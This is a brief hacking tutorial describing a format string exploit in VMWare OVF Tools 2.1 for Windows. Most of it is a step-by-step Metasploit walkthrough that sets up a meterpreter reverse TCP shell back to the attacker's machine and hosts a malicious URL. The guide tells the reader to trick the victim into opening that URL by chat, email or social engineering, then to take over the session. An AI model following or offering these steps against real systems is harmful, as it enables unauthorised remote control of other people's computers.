This module exploits format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3.
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Exploit Targets
VMWare OVF Tools 2.1
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP SP 2
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/ovftool_format_string
msf exploit (ovftool_format_string)>set payload windows/meterpreter/reverse_tcp
msf exploit (ovftool_format_string)>set lhost 192.168.1.6 (IP of Local Host)
msf exploit (ovftool_format_string)>set srvhost 192.168.1.6 (This must be an address on the local machine)
msf exploit (ovftool_format_string)>set uripath / (The Url to use for this exploit)
msf exploit (ovftool_format_string)>exploit
Now an URL you should give to your victim http://192.168.1.6:8080/via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
